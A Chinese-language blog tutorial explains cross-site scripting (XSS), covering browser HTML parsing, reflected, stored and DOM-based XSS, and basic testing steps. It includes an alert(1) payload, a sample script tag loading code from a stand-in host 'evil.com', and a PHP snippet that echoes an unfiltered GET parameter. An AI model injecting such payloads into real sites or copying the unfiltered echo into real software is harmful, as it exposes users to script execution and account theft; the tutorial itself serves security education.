当前位置: 首页 > article >正文

什么是XSS

文章目录

  • 前言
  • 1. 前端知识
  • 2. 什么是XSS
  • 3. 漏洞挖掘
  • 4. 参考


前言

之前对XSS的理解就是停留在弹窗,认为XSS这种漏洞真的是漏洞吗?安全学习了蛮久了,也应该对XSS有更进一步的认识了。


1. 前端知识

现代浏览器是一个高度复杂的软件系统,由多个核心组件协同工作,旨在高效、安全地呈现网页内容并执行交互逻辑。对一般用户来讲,其主要功能就是向服务器发出请求,在窗口中展示用户所选择的网络资源。这里所说的资源一般是HTML文档,也可以是PDF、图片等其他类型。资源的位置由用户使用URI指定。
在这里插入图片描述

说白了,浏览器这个软件,可以通过网络下载资源并展示,主要是一种叫HTML格式文本文档。我们来看一个网页问文档:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HTML文档</title>
</head>
<body>
    <p id="p1">The current date and time is:
    <script type="text/javascript">
    	document.write("<script>" + "alert(1)"+ "<\/script>")
      	document.getElementById('p1').innerHTML = new Date()
    </script>
    </p>
</body>
</html>

浏览器的渲染引擎中的核心模块HTML解析器会逐行解析这个HTML文本文件输出内容,遇到<script></script>这个标签时,会将其内的文本交给JavaScript引擎解释执行。如果用户提交的输入(数据)被解析为Js代码(指令),即产生XSS漏洞。

2. 什么是XSS

我们从它的名字开始,Cross-site Scripting,这个scriptinging,应该理解为一个动名词,“脚本+执行”的意思,全部翻译过来就是跨站点的脚本执行。顾名思义就是第三方站点的(恶意的)脚本执行

重点应该是放在scripting-脚本执行上,而不是cross-site -- 跨站上。

  • “跨站”是因为绝大多数XSS攻击都是加载远程/第三方域上的脚本,因为很多时候输入的内容都是有长度限制的。真正的XSS攻击<script>alert(1)</script>弹窗毫无意义,所以攻击代码会比较长,一般会注入类似下面这样的代码来引入第三方遇上的脚本资源
    <script src="http://www.evil.com/xss.js"></script>
  • 脚本执行才是我们根本想要的东西,将我们的“恶意脚本”放在在目标用户的浏览器上执行

上代码:xss.php

$selectChar = $_GET['key']; 	//接收前端提交的数据
/*
可能是数据库查询,又或者是其他业务逻辑
*/
echo $selectChar;				//将来自前端的数据写入响应

最常见的一个场景:搜索框,返回搜索结果的时候通常会显示“xxxx的搜索结果”,如果提交的攻击字符串后端接收后不经过滤直接返回,前端浏览器将该字符串解析为JavaScript代码执行,即产生了XSS。提取用户提交的输入并将其插入到服务器响应的HTML代码中,是XSS漏洞的一个显著特征。如果应用程序没有实施任何过滤或精华措施,那么它很容易受到攻击。

我们用一些Web应用常见的功能点/典型的应用场景,来区分XSS的类型:

  1. 反射型XSS
    搜索框就是一个典型的反射型XSS,用户提交的输入经后端直接返回,造成Js代码执行。
  2. 存储型XSS
    留言板/评论区,用户提交的输入是存储在服务器(不管是内存、数据库还hi文件系统),其他用户请求页面时,留言/评论也会一起加载,造成Js代码执行
  3. DOM型XSS
    DOM型XSS不需要服务器解析响应的直接参与,由DOM(Document Object Model)解析渲染造成Js代码执行。DOM是一套API规范,浏览器实现并提供了DOM API 供网页开发者操作HTML文档。通俗地讲,DOM就是浏览器内置给Js引擎的对象,允许我们对HTML文件中的标签进行增上改查。浏览器通过document对象获取URL中的数据,直接解析为JS代码执行,不需要服务器的参与,就是DOM型XSS。

3. 漏洞挖掘

  1. 在每个输入点提交一个良性字符串
  2. 监控字符串在`响应/页面“中的是否出现及其出现的位置
  3. 对于每个响应,确定显示数据时的上下文
  4. 针对语法上下文尝试引入Js脚本

4. 参考

[1] https://web.dev/howbrowserswork/#The_browser_main_functionality
[2] 《Web前端黑客技术揭秘》
[3] 《黑客攻防技术宝典 Web实战篇》
[4] 小迪安全v2023
[5] deepseek


http://www.kler.cn/a/573159.html

相关文章:

  • 【每日学点HarmonyOS Next知识】web滚动、事件回调、selectable属性、监听H5内部router、Grid嵌套时高度设置
  • valgrind 检测多线程 bug,检测 并发 bug concurrent bug parallel bug
  • 算法比赛中处理输入和输出
  • docker:配置 Docker 镜像加速器
  • Mybatis中的设计模式
  • linux如何在某个文件夹下查看所有文件(层级只到当前文件夹的两层)并找到‘XXXX’ 这个单词
  • 基于 Next.js(前端)和 FastAPI(后端)使用 WebSocket(满血版DeepSeek-R1回答)
  • 大模型核心要素完全解析:从数字神经元到智能对话的奥秘
  • npm install 报错 ---- 忽略版本冲突
  • 消息系统队列(Message Queue)之kafka
  • TCP-UDP-WebSocket-组播-单播
  • unity文字转语音usherpa-onnx-tts
  • python-leetcode-零钱兑换 II
  • 【数据结构】什么是栈||栈的经典应用||分治递归||斐波那契问题和归并算法||递归实现||顺序栈和链栈的区分
  • MySQL零基础教程15—简单的表连接(join)
  • 外盘农产品期货数据:历史高频分钟回测的分享下载20250305
  • Linux--基本指令4(完结)和权限
  • 基于Windows11的DockerDesktop安装和布署方法简介
  • C# Unity 面向对象补全计划 之 索引器与迭代器
  • Go语言select的高级玩法